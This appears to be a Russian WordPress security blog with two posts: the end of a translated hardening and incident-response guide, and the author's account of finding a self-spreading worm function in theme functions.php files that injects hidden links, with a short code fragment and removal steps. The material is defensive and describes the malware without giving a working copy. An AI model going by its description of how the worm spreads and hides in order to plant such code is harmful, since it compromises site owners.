    • Удалите анонимных пользователей базы данных.
    • Убедитесь, что у базы данных нет свободного доступа через сеть Интернет.
  • Включайте разрешение на редактирование файлов только, когда необходимо внести изменения в тему оформления сайта. Все остальное время у вашего сайта должен быть установлен запрет на редактирование. Для этого в файл wp-config.php добавьте следующую строку:
define('DISALLOW_FILE_EDIT', true);
  • Просканируйте свой сайт программой WPScan.

Имейте в виду, что изменение префикса базы данных не остановит от вторжения эксплойта наподобие такого, какой мы создавали сегодня: эксплойт модуль Metasploit определил таблицу базы данных прежде, чем приступил к созданию аккаунта администратора. Однако, изменение префикса может помочь предотвратить другие атаки, и поэтому это следует сделать.

Включение функции ЗАПРЕТА НА РЕДАКТИРОВАНИЕ ФАЙЛОВ можно, пожалуй, назвать крайней мерой.

Что делать, если произошло проникновение на ваш сайт (ваш сайт взломали)

  1. Переведите сайт на автономную работу (установите профилактический режим). Это поможет не дать злоумышленнику нанести других повреждений сайту или не позволит ему помешать вам восстановить контроль, пока вы исправляете уже созданные взломщиком проблемы.
  1. Сообщите своему хостинг провайдеру о взломе сайта и попросите о помощи.
  2. Создайте резервную копию взломанного сайта, на случай если вам понадобится изучить его позднее.
  3. Просмотрите лог-файлы , чтобы определить, как злоумышленник проник на сайт. Это поможет вам узнать, как устранить проблему и  отыскать, что сделал злоумышленник.
  4. Обновите все, что можно обновить.
  5. Удалите все файлы, страницы, посты, комментарии или процессы, созданные и добавленные взломщиком. Если сомневаетесь, все ли удалили, то запустите новый сайт на WordPress и затем восстановите на его базе последнюю имеющуюся у вас хорошего качества резервную копию сайта.
  6. Замените все пароли, использовавшиеся на сайте. А также смените пароли к админке хостинг провайдера и пароли к базе данных.

Как минимизировать последствия атаки

  • Запретить регистрацию пользователей. Для комментариев используйте аккаунты в социальных сетях.
  • Не публикуйте конфиденциальную информацию на своем сайте (кредитные карты, номер социального страхования, информацию о здоровье и т.д.).
  • Установите автоматическое создание ежедневных бэкапов (как всех файлов, так и базы данных) и тестируйте их на исправность каждый месяц.
  • Делайте заметки о том, как вы настраиваете сайт, так чтобы в дальнейшем знать, какие конфигурации изначально использовались.
  • Составьте примерный план действий на случай взлома вашего сайта – с кем связаться, что делать в такой ситуации и как делать.

Если вы не будете использовать WordPress аккаунты для оставления комментариев, это решит многие проблемы с безопасностью, где главным уязвимым местом являются слабые пароли таких комментаторов вместе с email адресами, которые злоумышленнику можно легко узнать.

Ведение записей служит нескольким целям: во-первых, у вас будут записи того, какие настройки вы использовали, так что в случае каких-либо изменений на сайте, сделанных злоумышленником, вы сможете сразу это определить и устранить его ловушки; во-вторых, вы сможете создать, в случае необходимости, новый сайт с аналогичными настройками, не беспокоясь о том, все ли верно вы воссоздали, в-третьих, ведение записей будет вас стимулировать относиться более внимательно к тому, что вы делаете и к выбору того или иного решения, а также позволит иметь более четкое представление о работе сайта в целом.

Уязвимости площадки WordPress

Представленные далее сайты могут быть полезными, если вы хотите получить более подробную информацию об уязвимостях и возможных вариантах вторжения на WordPress:

Список используемых источников

Если вы хотите узнать об уязвимостях и как хакеры их используют, то список OWASP Топ-10 (указанный выше) может стать хорошей отправной точкой в таком изучении.

Также для продвинутых читателей может быть интересен анализ уязвимостей при сериализации PHP объектов, это была, пожалуй, одна из наиболее сложных уязвимостей, устраненная в 2013 году в сентябрьской версии WordPress 3.6.1:

—————————————-

На этом всё! Планирую в скором времени опубликовать перевод презентации о которой упоминал автор в начале статьи, если вас заинтересовала эта тема подписывайтесь на обновления моего блога в Twitter , RSS или по почте!

С уважением, Мышак Пётр!

Как взломать сайт.

Доброго времени суток, уважаемые читатели блога Мои тараканы!

Хочу разочаровать тех, кого заинтриговал заголовок статьи — о том, как взломать сайт, писать я не буду. Данным постом хочу начать рубрику, посвящённую безопасности сайтов на WordPress (и не только). Что делать для того чтобы сайт не взломали. И что делать, если ваш сайт уже взломан.

На днях готовил статью об ускорении сайта на Вордпресс. При сканировании своего блога на наличие «медленных» запросов обнаружил десять замечаний по PHP, на которые нужно обратить внимание. Девять из них находились в файле funtion.php в функции, которой раньше там не было.

Я начал искать в интернете, что представляет собой этот загадочный код.

Признаки

Изначально по запросу я находил сообщения с форумов, в которых владельцы сайтов на WordPress жаловались на то, что при активации шаблона скачанного из интернета возникала фатальная ошибка: Fatal error: Cannot redeclare _verify_isactivate_widgets() (previously declared in /domains/site.ru/public_html/wp-content/themes/galegale/functions.php

В некоторых случаях, при возникновении такой ошибки становилась не возможна активация ни одной из установленных тем. То есть публичная часть сайта оказывалась полностью парализованной. Знаете что писали в ответ на этих форумах: «Ваш сайт взломали «.

Но то, что у этих веб-мастеров, перестал работать сайт — это скорее плюс, чем минус — они сразу узнали о том, что на сайте есть проблемы.

Копнув глубже, всплывала иная ситуация. У некоторых пользователей WordPress, на сайте появлялись скрытые ссылки в теле статьи. И обнаружить их было нелегко. Если админ был залогинен, то в публичной части они ему не отображались вообще. Их можно было увидеть, если разлогиниться в админке сайта. И то, «увидеть» — это громко сказано, правильней будет — «найти», потому что анкором ссылки становилась точка в статье.

В административной части сайта так же не всё так просто. В редакторе ссылка также не отображалась. Визуально её можно было увидеть только при переключении в режим отображения кода. Она устанавливалась на первую точку или после тега --more--, так же с анкором в виде точки. Удаление точки ни к чему не приводило — ссылка перемещалась на следующую. В случае с тегом --more--такая же история — при повторном его добавлении ссылка появлялась снова.

С чем имеем дело

Виновником всех проблем был вирус, прописанный в виде PHP функции в конце файла functions.php. Начинался он у всех так:

<php
function _verifyactivate_widgets()

или

<php
function _verify_activate_widgets()

И далее около 200 строк кода. Примечательно, что эта функция появляется в functions.php всех тем установленных на вашем сайте, даже стандартных. И если вы скачаете к себе на компьютер стандартный шаблон , например, twentyten, и сравните functions.php скачанной темы и темы имеющейся у вас на сайте, то убедитесь что этой функции в локальном (находящемся на компьютере) файле нет. Если вы обнаружили у себя что-то подобное, знайте — ваш сайт взломали.

Как я понял, код, о котором идёт речь — это червь. Вот что я нашел о нем на одном из форумов:

Функция _verify_isactivate_widget () сначала читает свой собственный файл, затем с помощью функции get_allwidgetcont () находит файлы functions.php в каталогах других тем и дописывает себя в них. Помимо процитированного фрагмента могут быть сопутствующие функции, которые вставляют скрытые ссылки и т.д.

То есть, когда вы активируете, скачанную не пойми откуда, инфицированную тему — она заражает все темы установленные на сайте. Кстати, скрытые ссылки, мне кажется — это самое безобидное, что может быть закодировано. Здесь нашел интересную статью о том, что может грозить вашему сайту, если вы подхватили такой вирус.

Лечение

На самом деле, лечение очень простое. Нужно удалить код из файлов functions.php всех установленных тем на вашем сайте. Удалить темы, скачанные из ненадежных источников. А в оставшихся темах в functions.php удаляем всё что начинается с

<php
function _verifyactivate_widgets()

и до конца файла.

Не мешало бы сменить пароли от WordPress, ftp, и, на всякий случай, от админки хостинга (мало ли что было спрятано в теле червя).

И в следующий раз, когда будете устанавливать новую тему, убедитесь в отсутствии в ней вредоносного кода.

Мой случай

Предполагаю, что, конкретно в моем случае — было спрятано изображение белого цвета размером 1 пиксель закодированное через Base64. И размещалось оно, так же, как и в приведённых мною примерах, в районе тега more.

В его наличии на сайте воочию я убедится, не успел — после лечения самостоятельное внедрение инфицированного кода вызывало фатальную ошибку. Но о его наличии я могу судить по этому участку кода:

if(!$no_more && strpos($text, <img src="data:image/gif; base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-more="more" data-wp-more-text="" class="wp-more-tag mce-wp-more" title="Тег «Далее»" data-mce-resize="false" data-mce-placeholder="1" />)) {
133
            $text=explode(<img src="data:image/gif; base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-more="more" data-wp-more-text="" class="wp-more-tag mce-wp-more" title="Тег «Далее»" data-mce-resize="false" data-mce-placeholder="1" />

Если пропустить R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7 через декодер Base64 — мы получим такой текст: GIF89a � ����������!� ����,���� � �� D�;. Но если установить чтобы декодер выдавал на выходе файл — мы получим GIF файл, переформатированный в формат dat. Браузер всё декодирует и выдает готовый результат — то самое изображение в один пиксель.

Конечно, с какой целью его туда поместили я так и не понял. Мои поверхностные знания PHP разобраться в коде не позволили.

Небольшая справка:

Base64 — это позиционная система счисления с основанием 64. Система Base64 используется в электронной почте, как правило, при передаче бинарных данных (файлы, картинки). Для кодирования используются символы английского алфавита (A-Z, a-z) и цифры (0-9), что в сумме составляет 62 знака, а для остальных двух знаков используются различные символы, в зависимости от разновидности Base64.

Источник.

DAT — общий формат для хранения данных различными приложениями. Как правило, файл DAT можно открыть только программой, которая создала этот файл. Данные могут храниться как в текстовом, так и в двоичном виде. Текстовые файлы DAT можно просмотреть в любом текстовом редакторе. Примеры программ, которые создают и используют файлы DAT: Microsoft Visual Studio, Corel WordPerfect, Nero ShowTime, Nullsoft Winamp, SoftVelocity Clarion, Ontrack EasyRecovery, Runtime GetDataBack, программное обеспечение MapInfo.

Источник.

Вывод

Как я заметил, о функции _verify_isactivate_widget () (точнее об использовании её для взлома сайта) известно довольно давно. Заразить сайт, подобным образом, проще простого. Но вот почему в блогосфере я не встречал ни одного поста на эту тему, мне не понятно. Более того, то, что я находил по _verify_isactivate_widget () — это были сообщения с буржуйских форумов. То ли у нас хакеры не применяют подобные практики, то ли веб-мастера не знают о существовании подобной заразы.

Кстати, антивирусы не реагируют на данный скрипт. То есть сама по себе функция не представляет угрозы для других пользователей сайта. Что такого в том, что веб-мастер добровольно решил разместить у себя код, который транслирует скрытые ссылки или, к примеру, высылает кому то на почту данные необходимые для входа в админку. Получается, спасение утопающих — дело рук самих утопающих. Даже не так, установил крякнутую тему — вот и отвечай за свой косяк. Так что будьте внимательны, дорогие веб-мастера, если не хотите чтобы ваш сайт оказался взломанным.

На этой минорной ноте прощаюсь с вами. Подписывайтесь на обновления блога в Twitter , RSSили по почте!

С уважением, Мышак Пётр!